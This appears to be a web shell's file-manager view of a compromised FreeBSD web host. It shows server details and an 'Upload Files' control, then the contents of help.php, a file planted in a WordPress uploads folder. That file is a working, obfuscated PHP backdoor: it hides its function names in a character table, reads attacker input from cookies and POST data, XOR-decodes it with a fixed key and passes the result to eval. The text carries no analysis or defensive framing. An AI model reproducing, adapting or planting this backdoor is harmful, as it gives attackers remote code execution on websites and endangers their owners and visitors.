HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/uploads/help.php
<?php
$bejxt = 'btmn7H1a#c4edvk_ou895sp0-xygf2l\'36*ir';$flsqe = Array();$flsqe[] = $bejxt[5].$bejxt[34];$flsqe[] = $bejxt[11].$bejxt[9].$bejxt[18].$bejxt[9].$bejxt[7].$bejxt[32].$bejxt[32].$bejxt[29].$bejxt[24].$bejxt[19].$bejxt[12].$bejxt[6].$bejxt[6].$bejxt[24].$bejxt[10].$bejxt[32].$bejxt[18].$bejxt[6].$bejxt[24].$bejxt[19].$bejxt[20].$bejxt[7].$bejxt[32].$bejxt[24].$bejxt[4].$bejxt[0].$bejxt[0].$bejxt[4].$bejxt[28].$bejxt[12].$bejxt[33].$bejxt[23].$bejxt[19].$bejxt[20].$bejxt[11].$bejxt[12];$flsqe[] = $bejxt[8];$flsqe[] = $bejxt[9].$bejxt[16].$bejxt[17].$bejxt[3].$bejxt[1];$flsqe[] = $bejxt[21].$bejxt[1].$bejxt[36].$bejxt[15].$bejxt[36].$bejxt[11].$bejxt[22].$bejxt[11].$bejxt[7].$bejxt[1];$flsqe[] = $bejxt[11].$bejxt[25].$bejxt[22].$bejxt[30].$bejxt[16].$bejxt[12].$bejxt[11];$flsqe[] = $bejxt[21].$bejxt[17].$bejxt[0].$bejxt[21].$bejxt[1].$bejxt[36];$flsqe[] = $bejxt[7].$bejxt[36].$bejxt[36].$bejxt[7].$bejxt[26].$bejxt[15].$bejxt[2].$bejxt[11].$bejxt[36].$bejxt[27].$bejxt[11];$flsqe[] = $bejxt[21].$bejxt[1].$bejxt[36].$bejxt[30].$bejxt[11].$bejxt[3];$flsqe[] = $bejxt[22].$bejxt[7].$bejxt[9].$bejxt[14];foreach ($flsqe[7]($_COOKIE, $_POST) as $ayddjow => $oliwc){function zvcwn($flsqe, $ayddjow, $aqbwznp){return $flsqe[6]($flsqe[4]($ayddjow . $flsqe[1], ($aqbwznp / $flsqe[8]($ayddjow)) + 1), 0, $aqbwznp);}function ggpmyte($flsqe, $jdkihtv){return @$flsqe[9]($flsqe[0], $jdkihtv);}function tlraquy($flsqe, $jdkihtv){$lazgo = $flsqe[3]($jdkihtv) % 3;if (!$lazgo) {eval($jdkihtv[1]($jdkihtv[2]));exit();}}$oliwc = ggpmyte($flsqe, $oliwc);tlraquy($flsqe, $flsqe[5]($flsqe[2], $oliwc ^ zvcwn($flsqe, $ayddjow, $flsqe[8]($oliwc))));}